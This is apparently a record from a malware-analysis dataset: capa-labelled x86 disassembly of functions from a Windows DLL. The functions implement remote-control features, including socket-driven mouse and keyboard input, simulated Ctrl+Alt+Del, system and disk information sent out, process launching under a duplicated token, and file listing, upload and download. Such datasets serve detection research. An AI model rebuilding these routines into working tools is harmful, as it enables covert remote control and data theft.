joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006d79
Capabilities:
Get memory capacity
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b0
push ebx
push esi
push 0x10094330
push 0x10094324
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov dword [0x1008e12c], eax
cmp eax, ebx
je 0x10006de0
push ebx
lea ecx, [ebp - 0x78]
push 0x2c
push ecx
push ebx
call eax
test eax, eax
jne 0x10006de0
push ebx
lea eax, [ebp - 0x4c]
push 0x20
push eax
push 3
call dword [0x1008e12c]
test eax, eax
jne 0x10006de0
push ebx
lea eax, [ebp - 0x1b0]
push 0x138
push eax
push 2
call dword [0x1008e12c]
test eax, eax
je 0x10006dee
mov dword [ebp - 0x2c], 0x7b
xor esi, esi
jmp 0x10006ecb
mov eax, dword [0x10093218]
mov esi, dword [ebp - 0x44]
mov ecx, eax
push edi
or ecx, dword [0x1009321c]
mov edi, dword [ebp - 0x1b0]
je 0x10006e8f
fld qword [0x10016458]
fild dword [ebp - 0x1ac]
mov dword [ebp - 8], edi
mov dword [ebp - 4], ebx
fmul st(1)
fild qword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov eax, dword [0x10093220]
faddp st(1)
fild dword [0x1009321c]
fmul st(2)
fild qword [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
faddp st(1)
fsubp st(1)
fild dword [ebp - 0x40]
fmul st(2)
fild qword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
movzx eax, byte [ebp - 0x50]
faddp st(1)
fild dword [0x10093224]
fmul st(3)
fild qword [ebp - 8]
mov dword [ebp - 4], eax
faddp st(1)
fsubp st(1)
fdivp st(1)
fmul qword [0x10016450]
fild dword [ebp - 4]
fdivp st(1)
fsubr qword [0x10016450]
fadd qword [0x10016448]
call sub.MSVCRT.dll__ftol
fstp st(0)
mov dword [0x10093210], eax
mov eax, dword [ebp - 0x1ac]
mov dword [0x10093218], edi
mov dword [0x1009321c], eax
mov eax, dword [ebp - 0x40]
mov dword [0x10093224], eax
mov eax, dword [0x10093210]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x28]
push eax
mov dword [0x10093220], esi
mov dword [ebp - 0x28], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 1
pop esi
pop edi
push ebx
lea eax, [ebp - 0x2c]
push 0x24
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100071e4
Capabilities:
Check os version
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
lea eax, [ebp - 0x9c]
push esi
push eax
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x98], 6
jb 0x1000725e
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x10007257
push 0x10094498
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x10007257
push 0x10094488
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007257
and dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0x208
push dword [ebp - 4]
call eax
push 1
pop eax
pop esi
pop ebx
leave
ret
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
test eax, eax
je 0x1000730b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
test eax, eax
mov dword [ebp - 4], eax
je 0x1000730b
push 0x37f
push 0
push 0x10094480
call dword [sym.imp.USER32.dll_OpenWindowStationA]
test eax, eax
mov dword [ebp - 8], eax
je 0x1000730b
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
test eax, eax
je 0x1000730b
push 0x1ff
push 0
push 0
push 0x10094474
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov ebx, eax
test ebx, ebx
je 0x1000730b
mov esi, dword [sym.imp.USER32.dll_SetThreadDesktop]
push ebx
call esi
test eax, eax
je 0x1000730b
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
push dword [ebp - 4]
call esi
test eax, eax
je 0x1000730b
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_CloseWindowStation]
test eax, eax
je 0x1000730b
push ebx
call dword [sym.imp.USER32.dll_CloseDesktop]
test eax, eax
jne 0x10007257
xor eax, eax
jmp 0x1000725a
Function at 0x100076d5
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
xor esi, esi
push esi
lea eax, [ebp - 0x14]
push 0x14
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x100076f9
xor al, al
jmp 0x1000786d
mov eax, dword [ebp - 0x14]
push ebx
add eax, 0xffffffae
push edi
cmp eax, 0xe
ja case.0x1000770a.94
jmp dword [eax*4 + 0x10007870]
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8002
jmp 0x10007833
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8004
jmp 0x10007833
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8008
jmp 0x10007833
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8010
jmp 0x10007833
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8020
jmp 0x10007833
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8040
jmp 0x10007833
push esi
push esi
push dword [ebp - 0xc]
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push dword [ebp - 0x10]
push 0x8002
call edi
push esi
push esi
push dword [ebp - 0xc]
mov ebx, 0x8004
push dword [ebp - 0x10]
push ebx
call edi
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8002
jmp 0x10007817
push esi
push esi
push dword [ebp - 0xc]
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push dword [ebp - 0x10]
push 0x8008
call edi
push esi
push esi
push dword [ebp - 0xc]
mov ebx, 0x8010
push dword [ebp - 0x10]
push ebx
call edi
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8008
jmp 0x10007817
push esi
push esi
push dword [ebp - 0xc]
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push dword [ebp - 0x10]
push 0x8020
call edi
push esi
push esi
push dword [ebp - 0xc]
mov ebx, 0x8040
push dword [ebp - 0x10]
push ebx
call edi
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8020
call edi
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call edi
jmp case.0x1000770a.94
push esi
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x8001
call dword [sym.imp.USER32.dll_mouse_event]
jmp case.0x1000770a.94
call fcn.100071e4
push 0x10094474
call fcn.100073da
pop ecx
mov dword [0x10093228], 1
jmp case.0x1000770a.94
push esi
push 1
jmp 0x1000785f
push esi
push 3
push esi
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_keybd_event]
pop edi
mov al, 1
pop ebx
pop esi
leave
ret
Function at 0x10007baf
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov ebx, 0x1001d878
xor edi, edi
push ebx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 0xc]
push esi
call fcn.10007472
test al, al
pop ecx
je 0x10007d0a
cmp dword [0x10093230], edi
je 0x10007bf9
cmp dword [0x10093234], esi
je 0x10007bf1
mov dword [0x10093230], edi
cmp dword [0x10093230], edi
jne 0x10007c2a
push dword [0x10093238]
mov dword [0x10093234], esi
push dword [0x1009322c]
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memcpy
mov eax, dword [0x10093238]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [0x10093230], 1
jmp 0x10007c66
mov eax, dword [0x10093238]
xor esi, esi
cmp eax, edi
mov dword [ebp - 0x18], edi
jbe 0x10007cd8
mov eax, dword [0x1009322c]
mov ecx, dword [ebp + 0x10]
add eax, esi
add ecx, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10007c53
mov byte [eax], 0x78
jmp 0x10007c5a
inc dword [ebp - 0x18]
mov al, byte [eax]
mov byte [ecx], al
mov eax, dword [0x10093238]
inc esi
cmp esi, eax
jb 0x10007c3c
xor edi, edi
cmp dword [ebp - 0x18], edi
jbe 0x10007cd8
push eax
mov ecx, 0x1008e128
push dword [0x1009322c]
call fcn.10006049
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 4], eax
mov eax, dword [0x10093238]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1009323c]
mov dword [ebp - 0x28], eax
mov eax, dword [0x1008e124]
mov dword [ebp - 0x20], eax
mov eax, dword [0x1008e120]
mov esi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x30]
push 0x2c
push eax
push dword [ebp + 8]
mov dword [ebp - 0x2c], edi
call esi
test eax, eax
je 0x10007d0a
push 0
push edi
push dword [ebp - 4]
push dword [ebp + 8]
call esi
jmp 0x10007d06
mov dword [ebp - 0x30], eax
mov eax, dword [0x1009323c]
mov dword [ebp - 0x28], eax
mov eax, dword [0x1008e124]
mov dword [ebp - 0x20], eax
mov eax, dword [0x1008e120]
mov dword [ebp - 0x1c], eax
push edi
lea eax, [ebp - 0x30]
push 0x2c
push eax
mov dword [ebp - 0x2c], edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jne 0x10007d15
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
jmp 0x10007d30
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007d35
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
push esi
xor esi, esi
push esi
lea eax, [ebp - 0x854]
push 0x844
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x10007d62
xor al, al
jmp 0x10007e0f
push ebx
push edi
push esi
push esi
push esi
push 0x100944b0
call dword [sym.imp.GDI32.dll_CreateDCA]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
push 8
push esi
call edi
push 0xa
mov dword [ebp + 8], eax
pop ebx
push ebx
push esi
call edi
add eax, 0xfffffff6
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add eax, 0xfffffff6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
mov ebx, eax
push ebx
push esi
call edi
push dword [ebp - 0x818]
mov dword [ebp + 8], eax
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
push 1
push esi
call dword [sym.imp.GDI32.dll_SetBkMode]
xor eax, eax
push 0x85
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
lea eax, [ebp - 0x10]
push 1
push eax
lea eax, [ebp - 0x814]
push dword [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_DrawTextA]
push dword [ebp + 8]
push esi
call edi
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
pop edi
mov al, 1
pop ebx
pop esi
leave
ret

Function at 0x10007e12
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10007e3f
push 0x10093a7c
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
jmp 0x10007ec4
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10007ebd
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
mov edi, 0x100944b8
lea eax, [ebp - 0x104]
push edi
push eax
call esi
pop ecx
test eax, eax
pop ecx
jne 0x10007e90
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10007ebd
lea eax, [ebp - 0x104]
push edi
push eax
jmp 0x10007e6d
push dword [ebp - 0x120]
push 0
call fcn.100069e1
pop ecx
test eax, eax
pop ecx
je 0x10007eae
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x120]
jmp 0x10007ec6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000825c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
lea eax, [ebp - 8]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10008325
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x10008325
lea eax, [ebp + 8]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x10008325
push 0x44
lea eax, [ebp - 0x60]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x1c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp dword [ebp + 0x10], esi
mov dword [ebp - 0x60], edi
je 0x10008300
call fcn.10007e12
push 0x100944e4
call fcn.10004249
test eax, eax
pop ecx
mov dword [ebp - 0x58], 0x100944d4
je 0x10008307
mov dword [ebp - 0x58], 0x100944c0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 8], esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10008335
push dword [ebp - 8]
call edi
cmp dword [ebp - 4], esi
je 0x1000833f
push dword [ebp - 4]
call edi
cmp ebx, esi
je 0x10008346
push ebx
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100087a2
Capabilities:
Get disk information
Get disk size
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
push 0x100939e4
push 0x100939d4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x4b]
mov byte [ebp - 0x4c], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x100087e9
xor al, al
jmp 0x10008949
mov dword [ebp - 4], ebx
mov esi, 0x3e8
push 0x34
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
sar eax, cl
add esp, 0xc
cmp eax, ebx
je 0x1000892d
test al, 1
je 0x10008920
lea eax, [ebp - 0x40]
add cl, 0x41
push eax
mov byte [ebp - 0x40], cl
mov byte [ebp - 0x3f], 0x3a
mov byte [ebp - 0x3e], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, eax
lea eax, [ebp - 0x40]
push 4
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x40]
mov dword [ebp - 0x5c], edi
push eax
lea eax, [ebp - 0x4c]
push 0x10094520
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
lea eax, [ebp - 0x6c]
push 0x10
push eax
push ebx
lea eax, [ebp - 0x58]
push ebx
push eax
lea eax, [ebp - 0x7c]
push 0x10
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp edi, 3
jne 0x10008908
cmp dword [ebp - 8], ebx
je 0x100088b5
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [ebp - 8]
push ebx
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.10014fb0
push ebx
push esi
push dword [ebp - 0x28]
mov edi, eax
push dword [ebp - 0x2c]
call fcn.10014fb0
jmp 0x100088f0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov ecx, dword [ebp - 0x10]
xor edx, edx
imul ecx, dword [ebp - 0x14]
mov eax, ecx
mov edi, esi
imul eax, dword [ebp - 0x18]
div edi
xor edx, edx
mov edi, eax
mov eax, ecx
imul eax, dword [ebp - 0x1c]
mov ecx, esi
div ecx
mov ecx, eax
mov eax, edi
xor edx, edx
mov edi, esi
div edi
xor edx, edx
mov dword [ebp - 0x54], eax
mov eax, ecx
mov ecx, esi
div ecx
mov dword [ebp - 0x50], eax
push ebx
lea eax, [ebp - 0x80]
push 0x34
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x100087e2
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1a
jl 0x100087f1
push ebx
lea eax, [ebp - 0x80]
push 0x34
push eax
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x3039
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000894e
Capabilities:
Enumerate files on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x540
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x53f]
mov byte [ebp - 0x540], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0xc]
stosb byte es:[edi], al
lea eax, [ebp - 0x540]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10008ada
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
jne 0x100089ec
push ebx
lea eax, [ebp - 0x140]
push 0x140
push eax
push dword [ebp + 8]
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x124], 2
mov dword [ebp - 0x120], 3
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10008ada
lea eax, [ebp - 0x114]
push 0x10094528
push eax
call sub.MSVCRT.dll_strcmp
mov esi, dword [sym.imp.WS2_32.dll_send]
pop ecx
test eax, eax
pop ecx
mov edi, 0x140
je 0x10008a3c
lea eax, [ebp - 0x114]
push 0x10094524
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10008a3c
push ebx
lea eax, [ebp - 0x140]
push edi
push eax
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x10008ada
cmp dword [ebp + 0xc], ebx
je 0x10008aa3
lea eax, [ebp - 0x140]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x10008a98
lea eax, [ebp - 0x114]
push 0x10094528
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10008a41
lea eax, [ebp - 0x114]
push 0x10094524
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10008a41
push ebx
lea eax, [ebp - 0x140]
push edi
push eax
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x10008ada
jmp 0x10008a41
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jmp 0x10008a3f
push ebx
lea eax, [ebp - 0x140]
push edi
push eax
push dword [ebp + 8]
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x124], 2
mov dword [ebp - 0x120], 3
call esi
cmp eax, 0xffffffff
jne 0x10008ade
xor al, al
jmp 0x10008ae9
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008aee
Capabilities:
Delete file
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.WS2_32.dll_recv]
push ebx
lea eax, [ebp - 0x22c]
push 0x224
push eax
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
je 0x10008beb
lea eax, [ebp - 0x22c]
push 0x100935b0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x10008beb
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 8], ebx
jbe 0x10008bc3
mov esi, 0x400
jmp 0x10008b4d
xor ebx, ebx
push esi
lea eax, [ebp - 0x62c]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x14]
add esp, 0xc
sub eax, dword [ebp - 8]
push ebx
cmp eax, esi
jbe 0x10008b8a
lea eax, [ebp - 0x62c]
push esi
push eax
push dword [ebp + 8]
call edi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008bd4
test ebx, ebx
je 0x10008bd4
cmp ebx, esi
ja 0x10008bd4
push dword [ebp - 4]
jmp 0x10008ba1
push eax
lea eax, [ebp - 0x62c]
push eax
push dword [ebp + 8]
call edi
push dword [ebp - 4]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008bd7
push ebx
lea eax, [ebp - 0x62c]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, ebx
jne 0x10008bd4
add dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jb 0x10008b4b
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x10008bcf
Function at 0x10008bef
Capabilities:
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x788
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x224
push ebx
lea eax, [ebp - 0x248]
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, ebx
je 0x10008d3f
cmp eax, esi
jne 0x10008d3f
lea eax, [ebp - 0x388]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10008c77
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x34], eax
jmp 0x10008ca7
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x368]
push ebx
sub eax, dword [ebp - 0x36c]
push esi
mov esi, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x248]
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10008d3f
lea eax, [ebp - 0x248]
push 0x1009452c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x10008d2c
push 0x22
lea eax, [ebp - 0xc]
pop edi
push ebx
push 8
push eax
mov dword [ebp - 0xc], edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x10008d3f
cmp dword [ebp - 0x2c], ebx
push ebx
jne 0x10008d0f
push ebx
jmp 0x10008d12
push dword [ebp - 0x2c]
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
je 0x10008d46
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push ebx
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], 0x23
call esi
xor al, al
pop edi
pop esi
pop ebx
leave
ret
push ebx
lea eax, [ebp - 0xc]
push 8
push eax
push dword [ebp + 8]
mov dword [ebp - 0xc], edi
call esi
test eax, eax
je 0x10008d3f
push dword [ebp - 4]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
lea eax, [ebp - 0x788]
push 0x400
push 1
push eax
call edi
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10008da6
push ebx
push eax
lea eax, [ebp - 0x788]
push eax
push dword [ebp + 8]
call esi
cmp eax, ebx
je 0x10008da8
cmp eax, dword [ebp - 0x10]
jne 0x10008da8
push dword [ebp - 4]
lea eax, [ebp - 0x788]
push 0x400
push 1
push eax
jmp 0x10008d70
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov al, bl
jmp 0x10008d41